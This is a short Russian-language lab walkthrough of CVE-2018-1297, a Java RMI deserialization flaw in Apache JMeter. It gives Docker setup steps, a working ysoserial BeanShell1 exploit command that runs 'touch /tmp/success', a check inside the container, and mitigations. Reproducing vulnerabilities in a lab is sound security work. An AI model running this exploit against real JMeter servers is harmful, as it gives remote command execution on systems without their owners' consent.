Уязвимость выполнения команд при десериализации RMI Jmeter (CVE-2018-1297)
Apache JMeter — это набор открытого программного обеспечения, написанный на языке Java Американским фондом программного обеспечения Apache (American Apache Software Foundation) для стресс-тестирования и тестирования производительности.
В версиях 2.x и 3.x существует уязвимость десериализации, используя которую злоумышленник может выполнить произвольные команды на целевом сервере.
Запуск уязвимой среды :
docker compose up -d
Я использовал Docker в Kali Linux.
После завершения запуска RMI-сервис запускается и прослушивает порт 1099.
Уязвимость :
Непосредственно используем ysoserial для эксплуатации уязвимости.
java -cp ysoserial-0.0.6-SNAPSHOT-all.jar ysoserial.exploit.RMIRegistryExploit your-ip 1099 BeanShell1 'touch /tmp/success’
Введите команду, как указано выше.
Была использована цепочка эксплойтов BeanShell1.
docker compose exec jmeter bash
С помощью этой команды можно войти в контейнер и убедиться, что файл '/tmp/success' успешно создан.

Заключение
Эта уязвимость эксплуатирует уязвимость RMI (Remote Method Invocation), которая может возникнуть в Java-приложениях.
Используемый здесь файл ‘ysoserial-0.0.6-SNAPSHOT-all.jar’ является частью проекта ysoserial и используется для создания полезных нагрузок, позволяющих выполнить удаленный код через уязвимость сериализации Java.
Эта полезная нагрузка предназначена для выполнения таких команд, как /tmp/success, и через эту уязвимость злоумышленник может выполнять произвольные команды или изменять системные файлы на удаленной системе.
Меры по предотвращению этой уязвимости включают ограничение доступа к RMI-сервису, строгий контроль прав и фильтрацию сериализации Java.